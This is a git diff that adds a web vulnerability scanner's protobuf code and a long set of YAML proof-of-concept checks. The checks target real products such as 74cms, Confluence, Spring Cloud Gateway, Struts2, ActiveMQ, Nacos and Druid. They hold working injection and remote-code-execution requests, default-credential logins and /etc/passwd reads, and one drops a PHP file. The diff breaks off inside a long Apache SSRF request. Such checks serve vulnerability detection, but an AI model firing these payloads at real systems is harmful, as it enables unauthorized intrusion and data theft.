0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x18, 0x02, + 0x20, 0x01, 0x28, 0x05, 0x52, 0x06, 0x73, 0x74, 0x61, 0x74, 0x75, 0x73, 0x12, 0x34, 0x0a, 0x07, + 0x68, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x1a, 0x2e, + 0x6c, 0x69, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x2e, 0x48, 0x65, 0x61, + 0x64, 0x65, 0x72, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x07, 0x68, 0x65, 0x61, 0x64, 0x65, + 0x72, 0x73, 0x12, 0x21, 0x0a, 0x0c, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, 0x74, 0x5f, 0x74, 0x79, + 0x70, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x63, 0x6f, 0x6e, 0x74, 0x65, 0x6e, + 0x74, 0x54, 0x79, 0x70, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x18, 0x05, 0x20, + 0x01, 0x28, 0x0c, 0x52, 0x04, 0x62, 0x6f, 0x64, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x64, 0x75, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x06, 0x20, 0x01, 0x28, 0x01, 0x52, 0x08, 0x64, 0x75, 0x72, + 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x1a, 0x3a, 0x0a, 0x0c, 0x48, 0x65, 0x61, 0x64, 0x65, 0x72, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, + 0x01, 0x22, 0x76, 0x0a, 0x07, 0x52, 0x65, 0x76, 0x65, 0x72, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, + 0x75, 0x72, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x75, 0x72, 0x6c, 0x12, 0x16, + 0x0a, 0x06, 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, + 0x64, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x69, 0x70, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x69, 0x70, 0x12, 0x31, 0x0a, 0x15, 0x69, 0x73, 0x5f, 0x64, 0x6f, 0x6d, + 0x61, 0x69, 0x6e, 0x5f, 0x6e, 0x61, 0x6d, 0x65, 0x5f, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, 0x12, 0x69, 0x73, 0x44, 0x6f, 0x6d, 0x61, 0x69, 0x6e, 0x4e, + 0x61, 0x6d, 0x65, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x42, 0x08, 0x5a, 0x06, 0x2e, 0x2f, 0x3b, + 0x6c, 0x69, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_http_proto_rawDescOnce sync.Once + file_http_proto_rawDescData = file_http_proto_rawDesc +) + +func file_http_proto_rawDescGZIP() []byte { + file_http_proto_rawDescOnce.Do(func() { + file_http_proto_rawDescData = protoimpl.X.CompressGZIP(file_http_proto_rawDescData) + }) + return file_http_proto_rawDescData +} + +var file_http_proto_msgTypes = make([]protoimpl.MessageInfo, 6) +var file_http_proto_goTypes = []interface{}{ + (*UrlType)(nil), // 0: lib.UrlType + (*Request)(nil), // 1: lib.Request + (*Response)(nil), // 2: lib.Response + (*Reverse)(nil), // 3: lib.Reverse + nil, // 4: lib.Request.HeadersEntry + nil, // 5: lib.Response.HeadersEntry +} +var file_http_proto_depIdxs = []int32{ + 0, // 0: lib.Request.url:type_name -> lib.UrlType + 4, // 1: lib.Request.headers:type_name -> lib.Request.HeadersEntry + 0, // 2: lib.Response.url:type_name -> lib.UrlType + 5, // 3: lib.Response.headers:type_name -> lib.Response.HeadersEntry + 4, // [4:4] is the sub-list for method output_type + 4, // [4:4] is the sub-list for method input_type + 4, // [4:4] is the sub-list for extension type_name + 4, // [4:4] is the sub-list for extension extendee + 0, // [0:4] is the sub-list for field type_name +} + +func init() { file_http_proto_init() } +func file_http_proto_init() { + if File_http_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_http_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*UrlType); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_http_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Request); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_http_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Response); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_http_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Reverse); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + } + type x struct{} + out := protoimpl.TypeBuilder{ + File: protoimpl.DescBuilder{ + GoPackagePath: reflect.TypeOf(x{}).PkgPath(), + RawDescriptor: file_http_proto_rawDesc, + NumEnums: 0, + NumMessages: 6, + NumExtensions: 0, + NumServices: 0, + }, + GoTypes: file_http_proto_goTypes, + DependencyIndexes: file_http_proto_depIdxs, + MessageInfos: file_http_proto_msgTypes, + }.Build() + File_http_proto = out.File + file_http_proto_rawDesc = nil + file_http_proto_goTypes = nil + file_http_proto_depIdxs = nil +} diff --git a/webscan/lib/http.proto b/webscan/lib/http.proto new file mode 100644 index 0000000..f03e276 --- /dev/null +++ b/webscan/lib/http.proto @@ -0,0 +1,38 @@ +syntax = "proto3"; +package lib; + +option go_package = "./;lib"; + +message UrlType { + string scheme = 1; + string domain = 2; + string host = 3; + string port = 4; + string path = 5; + string query = 6; + string fragment = 7; +} + +message Request { + UrlType url = 1; + string method = 2; + map headers = 3; + string content_type = 4; + bytes body = 5; +} + +message Response { + UrlType url = 1; + int32 status = 2 ; + map headers = 3; + string content_type = 4; + bytes body = 5; + double duration = 6; +} + +message Reverse { + string url = 1; + string domain = 2; + string ip = 3; + bool is_domain_name_server = 4; +} diff --git a/webscan/pocs/74cms-sqli-1.yml b/webscan/pocs/74cms-sqli-1.yml new file mode 100644 index 0000000..0b1d6aa --- /dev/null +++ b/webscan/pocs/74cms-sqli-1.yml @@ -0,0 +1,16 @@ +name: poc-yaml-74cms-sqli-1 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: POST + path: /plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709\xc3\x97tamp=&nonce= + headers: + Content-Type: 'text/xml' + body: ]>&test;111112331%' union select md5({{rand}})# + follow_redirects: false + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: betta(https://github.com/betta-cyber) + links: + - https://www.uedbox.com/post/29340 diff --git a/webscan/pocs/74cms-sqli-2.yml b/webscan/pocs/74cms-sqli-2.yml new file mode 100644 index 0000000..ed6f4ae --- /dev/null +++ b/webscan/pocs/74cms-sqli-2.yml @@ -0,0 +1,12 @@ +name: poc-yaml-74cms-sqli-2 +set: + rand: randomInt(200000000, 210000000) +rules: + - method: GET + path: /plus/ajax_officebuilding.php?act=key&key=錦%27%20a<>nd%201=2%20un<>ion%20sel<>ect%201,2,3,md5({{rand}}),5,6,7,8,9%23 + expression: | + response.body.bcontains(bytes(md5(string(rand)))) +detail: + author: rexus + links: + - https://www.uedbox.com/post/30019/ diff --git a/webscan/pocs/74cms-sqli.yml b/webscan/pocs/74cms-sqli.yml new file mode 100644 index 0000000..cff0f68 --- /dev/null +++ b/webscan/pocs/74cms-sqli.yml @@ -0,0 +1,10 @@ +name: poc-yaml-74cms-sqli +rules: + - method: GET + path: /index.php?m=&c=AjaxPersonal&a=company_focus&company_id[0]=match&company_id[1][0]=aaaaaaa") and extractvalue(1,concat(0x7e,md5(99999999))) -- a + expression: | + response.body.bcontains(b"ef775988943825d2871e1cfa75473ec") +detail: + author: jinqi + links: + - https://www.t00ls.net/articles-54436.html diff --git a/webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml b/webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml new file mode 100644 index 0000000..da06f09 --- /dev/null +++ b/webscan/pocs/CVE-2017-7504-Jboss-serialization-RCE.yml @@ -0,0 +1,11 @@ +name: poc-yaml-CVE-2017-7504-Jboss-serialization-RCE +rules: + - method: GET + path: /jbossmq-httpil/HTTPServerILServlet + expression: | + response.status == 200 && response.body.bcontains(b'This is the JBossMQ HTTP-IL') +detail: + author: mamba + description: "CVE-2017-7504-Jboss-serialization-RCE by chaosec公众号" + links: + - https://github.com/chaosec2021 diff --git a/webscan/pocs/CVE-2022-22947.yml b/webscan/pocs/CVE-2022-22947.yml new file mode 100644 index 0000000..a2f2fc3 --- /dev/null +++ b/webscan/pocs/CVE-2022-22947.yml @@ -0,0 +1,44 @@ +name: Spring-Cloud-CVE-2022-22947 +set: + router: randomLowercase(8) + rand1: randomInt(800000000, 1000000000) + rand2: randomInt(800000000, 1000000000) +rules: + - method: POST + path: /actuator/gateway/routes/{{router}} + headers: + Content-Type: application/json + body: | + { + "id": "{{router}}", + "filters": [{ + "name": "AddResponseHeader", + "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"expr\",\"{{rand1}}\",\"+\",\"{{rand2}}\"}).getInputStream()))}"} + }], + "uri": "http://example.com", + "order": 0 + } + expression: response.status == 201 + - method: POST + path: /actuator/gateway/refresh + headers: + Content-Type: application/json + expression: response.status == 200 + - method: GET + path: /actuator/gateway/routes/{{router}} + headers: + Content-Type: application/json + expression: response.status == 200 && response.body.bcontains(bytes(string(rand1 + rand2))) + - method: DELETE + path: /actuator/gateway/routes/{{router}} + expression: response.status == 200 + - method: POST + path: /actuator/gateway/refresh + headers: + Content-Type: application/json + expression: response.status == 200 +detail: + author: jweny + description: Spring Cloud Gateway Code Injection + links: + - https://mp.weixin.qq.com/s/qIAcycsO_L9JKisG5Bgg_w diff --git a/webscan/pocs/CVE-2022-22954-VMware-RCE.yml b/webscan/pocs/CVE-2022-22954-VMware-RCE.yml new file mode 100644 index 0000000..f15af4c --- /dev/null +++ b/webscan/pocs/CVE-2022-22954-VMware-RCE.yml @@ -0,0 +1,11 @@ +name: poc-yaml-CVE-2022-22954-VMware-RCE +rules: + - method: GET + path: /catalog-portal/ui/oauth/verify?error=&deviceUdid=%24%7b"freemarker%2etemplate%2eutility%2eExecute"%3fnew%28%29%28"id"%29%7d + expression: | + response.status == 400 && "device id:".bmatches(response.body) +detail: + author: mamba + description: "CVE-2022-22954-VMware-RCE by chaosec公众号" + links: + - https://github.com/chaosec2021 diff --git a/webscan/pocs/CVE-2022-26134.yml b/webscan/pocs/CVE-2022-26134.yml new file mode 100644 index 0000000..8e7469b --- /dev/null +++ b/webscan/pocs/CVE-2022-26134.yml @@ -0,0 +1,16 @@ +name: Confluence-CVE-2022-26134 + +rules: + - method: GET + path: /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ + expression: response.status == 302 && "((u|g)id|groups)=[0-9]{1,4}\\([a-z0-9]+\\)".bmatches(response.raw_header) +detail: + author: zan8in + description: | + Atlassian Confluence OGNL注入漏洞 + Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令。 + app="ATLASSIAN-Confluence" + links: + - https://nvd.nist.gov/vuln/detail/CVE-2022-26134 + - http://wiki.peiqi.tech/wiki/webapp/AtlassianConfluence/Atlassian%20Confluence%20OGNL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%20CVE-2022-26134.html + - https://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247488978&idx=1&sn=c0a5369f2b374dcef0bbf61b9239b1dd diff --git a/webscan/pocs/Hotel-Internet-Manage-RCE.yml b/webscan/pocs/Hotel-Internet-Manage-RCE.yml new file mode 100644 index 0000000..bd124e5 --- /dev/null +++ b/webscan/pocs/Hotel-Internet-Manage-RCE.yml @@ -0,0 +1,12 @@ +name: Hotel-Internet-Manage-RCE +rules: + - method: GET + path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1" + expression: | + response.status == 200 && response.body.bcontains(b"parent.doTestResult") +detail: + author: test + Affected Version: "Hotel Internet Billing & Operation Support System" + links: + - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8 + diff --git a/webscan/pocs/Struts2-062-cve-2021-31805-rce.yml b/webscan/pocs/Struts2-062-cve-2021-31805-rce.yml new file mode 100644 index 0000000..d77a764 --- /dev/null +++ b/webscan/pocs/Struts2-062-cve-2021-31805-rce.yml @@ -0,0 +1,31 @@ +name: poc-yaml-struts2-062-cve-2021-31805-rce +rules: + - method: POST + path: / + headers: + Content-Type: 'multipart/form-data; boundary=----WebKitFormBoundaryl7d1B1aGsV2wcZwF' + Cache-Control: 'max-age=0' + Accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9' + + body: "\ + ------WebKitFormBoundaryl7d1B1aGsV2wcZwF\r\n\ + Content-Disposition: form-data; name=\"id\"\r\n\r\n\ + %{\r\n\ + (#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\ + (#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +\r\n\ + (#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\ + (#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +\r\n + (#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +\r\n\ + (#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +\r\n\ + (#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n\ + (#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +\r\n + (#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'cat /etc/passwd'}))\r\n + }\r\n\ + ------WebKitFormBoundaryl7d1B1aGsV2wcZwF— + " + expression: | + response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) +detail: + author: Jaky + links: + - https://mp.weixin.qq.com/s/taEEl6UQ2yi4cqzs2UBfCg diff --git a/webscan/pocs/active-directory-certsrv-detect.yml b/webscan/pocs/active-directory-certsrv-detect.yml new file mode 100644 index 0000000..edf2dda --- /dev/null +++ b/webscan/pocs/active-directory-certsrv-detect.yml @@ -0,0 +1,11 @@ +name: poc-yaml-active-directory-certsrv-detect +rules: + - method: GET + path: /certsrv/certrqad.asp + follow_redirects: false + expression: | + response.status == 401 && "Server" in response.headers && response.headers["Server"].contains("Microsoft-IIS") && response.body.bcontains(bytes("401 - ")) && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("Negotiate") && "Www-Authenticate" in response.headers && response.headers["Www-Authenticate"].contains("NTLM") +detail: + author: AgeloVito + links: + - https://www.cnblogs.com/EasonJim/p/6859345.html diff --git a/webscan/pocs/activemq-cve-2016-3088.yml b/webscan/pocs/activemq-cve-2016-3088.yml new file mode 100644 index 0000000..7b93f13 --- /dev/null +++ b/webscan/pocs/activemq-cve-2016-3088.yml @@ -0,0 +1,34 @@ +name: poc-yaml-activemq-cve-2016-3088 +set: + filename: randomLowercase(6) + fileContent: randomLowercase(6) +rules: + - method: PUT + path: /fileserver/{{filename}}.txt + body: | + {{fileContent}} + expression: | + response.status == 204 + - method: GET + path: /admin/test/index.jsp + search: | + activemq.home=(?P.*?), + follow_redirects: false + expression: | + response.status == 200 + - method: MOVE + path: /fileserver/{{filename}}.txt + headers: + Destination: "file://{{home}}/webapps/api/{{filename}}.jsp" + follow_redirects: false + expression: | + response.status == 204 + - method: GET + path: /api/{{filename}}.jsp + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(bytes(fileContent)) +detail: + author: j4ckzh0u(https://github.com/j4ckzh0u) + links: + - https://github.com/vulhub/vulhub/tree/master/activemq/CVE-2016-3088 diff --git a/webscan/pocs/activemq-default-password.yml b/webscan/pocs/activemq-default-password.yml new file mode 100644 index 0000000..d9a7ef9 --- /dev/null +++ b/webscan/pocs/activemq-default-password.yml @@ -0,0 +1,16 @@ +name: poc-yaml-activemq-default-password +rules: + - method: GET + path: /admin/ + expression: | + response.status == 401 && response.body.bcontains(b"Unauthorized") + - method: GET + path: /admin/ + headers: + Authorization: Basic YWRtaW46YWRtaW4= + expression: | + response.status == 200 && response.body.bcontains(b"Welcome to the Apache ActiveMQ Console of") && response.body.bcontains(b"

Broker

") +detail: + author: pa55w0rd(www.pa55w0rd.online/) + links: + - https://blog.csdn.net/ge00111/article/details/72765210 \ No newline at end of file diff --git a/webscan/pocs/airflow-unauth.yml b/webscan/pocs/airflow-unauth.yml new file mode 100644 index 0000000..43b8ce7 --- /dev/null +++ b/webscan/pocs/airflow-unauth.yml @@ -0,0 +1,10 @@ +name: poc-yaml-airflow-unauth +rules: + - method: GET + path: /admin/ + expression: | + response.status == 200 && response.body.bcontains(b"Airflow - DAGs") && response.body.bcontains(b"

DAGs

") +detail: + author: pa55w0rd(www.pa55w0rd.online/) + links: + - http://airflow.apache.org/ diff --git a/webscan/pocs/alibaba-canal-default-password.yml b/webscan/pocs/alibaba-canal-default-password.yml new file mode 100644 index 0000000..bee4b21 --- /dev/null +++ b/webscan/pocs/alibaba-canal-default-password.yml @@ -0,0 +1,19 @@ +name: poc-yaml-alibaba-canal-default-password +rules: + - method: POST + path: /api/v1/user/login + expression: | + response.status == 200 && response.body.bcontains(b"com.alibaba.otter.canal.admin.controller.UserController.login") + - method: POST + path: /api/v1/user/login + headers: + Content-Type: application/json + body: >- + {"username":"admin","password":"123456"} + follow_redirects: false + expression: | + response.status == 200 && response.body.bcontains(b"{\"code\":20000,") && response.body.bcontains(b"\"data\":{\"token\"") +detail: + author: jweny(https://github.com/jweny) + links: + - https://www.cnblogs.com/xiexiandong/p/12888582.html diff --git a/webscan/pocs/alibaba-canal-info-leak.yml b/webscan/pocs/alibaba-canal-info-leak.yml new file mode 100644 index 0000000..a51de57 --- /dev/null +++ b/webscan/pocs/alibaba-canal-info-leak.yml @@ -0,0 +1,12 @@ +name: poc-yaml-alibaba-canal-info-leak +rules: + - method: GET + path: /api/v1/canal/config/1/1 + follow_redirects: false + expression: | + response.status == 200 && response.content_type.icontains("application/json") && response.body.bcontains(b"ncanal.aliyun.accessKey") && response.body.bcontains(b"ncanal.aliyun.secretKey") +detail: + author: Aquilao(https://github.com/Aquilao) + info: alibaba Canal info leak + links: + - https://my.oschina.net/u/4581879/blog/4753320 \ No newline at end of file diff --git a/webscan/pocs/alibaba-nacos-v1-auth-bypass.yml b/webscan/pocs/alibaba-nacos-v1-auth-bypass.yml new file mode 100644 index 0000000..4effabc --- /dev/null +++ b/webscan/pocs/alibaba-nacos-v1-auth-bypass.yml @@ -0,0 +1,27 @@ +name: poc-yaml-alibaba-nacos-v1-auth-bypass +set: + r1: randomLowercase(16) + r2: randomLowercase(16) +rules: + - method: POST + path: "/nacos/v1/auth/users?username={{r1}}&password={{r2}}" + headers: + User-Agent: Nacos-Server + expression: | + response.status == 200 && response.body.bcontains(bytes("create user ok!")) + - method: GET + path: "/nacos/v1/auth/users?pageNo=1&pageSize=999" + headers: + User-Agent: Nacos-Server + expression: | + response.status == 200 && response.body.bcontains(bytes(r1)) + - method: DELETE + path: "/nacos/v1/auth/users?username={{r1}}" + headers: + User-Agent: Nacos-Server + expression: | + response.status == 200 && response.body.bcontains(bytes("delete user ok!")) +detail: + author: kmahyyg(https://github.com/kmahyyg) + links: + - https://github.com/alibaba/nacos/issues/4593 diff --git a/webscan/pocs/alibaba-nacos.yml b/webscan/pocs/alibaba-nacos.yml new file mode 100644 index 0000000..34a4407 --- /dev/null +++ b/webscan/pocs/alibaba-nacos.yml @@ -0,0 +1,13 @@ +name: poc-yaml-alibaba-nacos +rules: + - method: GET + path: /nacos/ + follow_redirects: true + expression: | + response.body.bcontains(bytes("Nacos")) +detail: + author: AgeloVito + info: alibaba-nacos + login: nacos/nacos + links: + - https://blog.csdn.net/caiqiiqi/article/details/112005424 diff --git a/webscan/pocs/amtt-hiboss-server-ping-rce.yml b/webscan/pocs/amtt-hiboss-server-ping-rce.yml new file mode 100644 index 0000000..b833f41 --- /dev/null +++ b/webscan/pocs/amtt-hiboss-server-ping-rce.yml @@ -0,0 +1,18 @@ +name: poc-yaml-amtt-hiboss-server-ping-rce +set: + r2: randomLowercase(10) +rules: + - method: GET + path: /manager/radius/server_ping.php?ip=127.0.0.1|echo%20"">../../{{r2}}.php&id=1 + expression: | + response.status == 200 && response.body.bcontains(b"parent.doTestResult") + - method: GET + path: /{{r2}}.php + expression: | + response.status == 200 && response.body.bcontains(bytes(md5(r2))) + +detail: + author: YekkoY + description: "安美数字-酒店宽带运营系统-远程命令执行漏洞" + links: + - http://wiki.peiqi.tech/PeiQi_Wiki/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97/%E5%AE%89%E7%BE%8E%E6%95%B0%E5%AD%97%20%E9%85%92%E5%BA%97%E5%AE%BD%E5%B8%A6%E8%BF%90%E8%90%A5%E7%B3%BB%E7%BB%9F%20server_ping.php%20%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.html diff --git a/webscan/pocs/apache-ambari-default-password.yml b/webscan/pocs/apache-ambari-default-password.yml new file mode 100644 index 0000000..c3337b8 --- /dev/null +++ b/webscan/pocs/apache-ambari-default-password.yml @@ -0,0 +1,11 @@ +name: poc-yaml-apache-ambari-default-password +rules: + - method: GET + path: /api/v1/users/admin?fields=*,privileges/PrivilegeInfo/cluster_name,privileges/PrivilegeInfo/permission_name + headers: + Authorization: Basic YWRtaW46YWRtaW4= + expression: response.status == 200 && response.body.bcontains(b"PrivilegeInfo") && response.body.bcontains(b"AMBARI.ADMINISTRATOR") +detail: + author: wulalalaaa(https://github.com/wulalalaaa) + links: + - https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide diff --git a/webscan/pocs/apache-axis-webservice-detect.yml b/webscan/pocs/apache-axis-webservice-detect.yml new file mode 100644 index 0000000..1b3872d --- /dev/null +++ b/webscan/pocs/apache-axis-webservice-detect.yml @@ -0,0 +1,25 @@ +name: poc-yaml-apache-axis-webservice-detect +sets: + path: + - services + - servlet/AxisaxiServlet + - servlet/AxisServlet + - services/listServices + - services/FreeMarkerService + - services/AdminService + - axis/services + - axis2/services + - axis/servlet/AxisServlet + - axis2/servlet/AxisServlet + - axis2/services/listServices + - axis/services/FreeMarkerService + - axis/services/AdminService +rules: + - method: GET + path: /{{path}} + expression: | + response.body.bcontains(b"Services") && response.body.bcontains(b'?wsdl">') +detail: + author: AgeloVito + links: + - https://paper.seebug.org/1489 diff --git a/webscan/pocs/apache-druid-cve-2021-36749.yml b/webscan/pocs/apache-druid-cve-2021-36749.yml new file mode 100644 index 0000000..5ba40f8 --- /dev/null +++ b/webscan/pocs/apache-druid-cve-2021-36749.yml @@ -0,0 +1,24 @@ +name: poc-yaml-apache-druid-cve-2021-36749 +manual: true +transport: http +groups: + druid1: + - method: POST + path: /druid/indexer/v1/sampler?for=connect + headers: + Content-Type: application/json;charset=utf-8 + body: | + {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///etc/passwd"]}}},"samplerConfig":{"numRows":500}} + expression: response.status == 200 && response.content_type.contains("json") && "root:[x*]:0:0:".bmatches(response.body) + druid2: + - method: POST + path: /druid/indexer/v1/sampler?for=connect + headers: + Content-Type: application/json;charset=utf-8 + body: | + {"type":"index","spec":{"ioConfig":{"type":"index","firehose":{"type":"http","uris":["file:///c://windows/win.ini"]}}},"samplerConfig":{"numRows":500}} + expression: response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"for 16-bit app support") +detail: + author: iak3ec(https://github.com/nu0l) + links: + - https://mp.weixin.qq.com/s/Fl2hSO-y60VsTi5YJFyl0w diff --git a/webscan/pocs/apache-flink-upload-rce.yml b/webscan/pocs/apache-flink-upload-rce.yml new file mode 100644 index 0000000..8ea773c --- /dev/null +++ b/webscan/pocs/apache-flink-upload-rce.yml @@ -0,0 +1,36 @@ +name: poc-yaml-apache-flink-upload-rce +set: + r1: randomLowercase(8) + r2: randomLowercase(4) +rules: + - method: GET + path: /jars + follow_redirects: true + expression: > + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"address") && response.body.bcontains(b"files") + - method: POST + path: /jars/upload + headers: + Content-Type: multipart/form-data;boundary=8ce4b16b22b58894aa86c421e8759df3 + body: |- + --8ce4b16b22b58894aa86c421e8759df3 + Content-Disposition: form-data; name="jarfile";filename="{{r2}}.jar" + Content-Type:application/octet-stream + + {{r1}} + --8ce4b16b22b58894aa86c421e8759df3-- + + follow_redirects: true + expression: > + response.status == 200 && response.content_type.contains("json") && response.body.bcontains(b"success") && response.body.bcontains(bytes(r2)) + search: >- + (?P([a-zA-Z0-9]{8}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{4}-[a-zA-Z0-9]{12}_[a-z]{4}.jar)) + - method: DELETE + path: '/jars/{{filen}}' + follow_redirects: true + expression: | + response.status == 200 +detail: + author: timwhite + links: + - https://github.com/LandGrey/flink-unauth-rce diff --git a/webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml b/webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml new file mode 100644 index 0000000..387129e --- /dev/null +++ b/webscan/pocs/apache-httpd-cve-2021-40438-ssrf.yml @@ -0,0 +1,12 @@ +name: poc-yaml-apache-httpd-cve-2021-40438-ssrf +manual: true +transport: http +rules: + - method: GET + path: /?unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA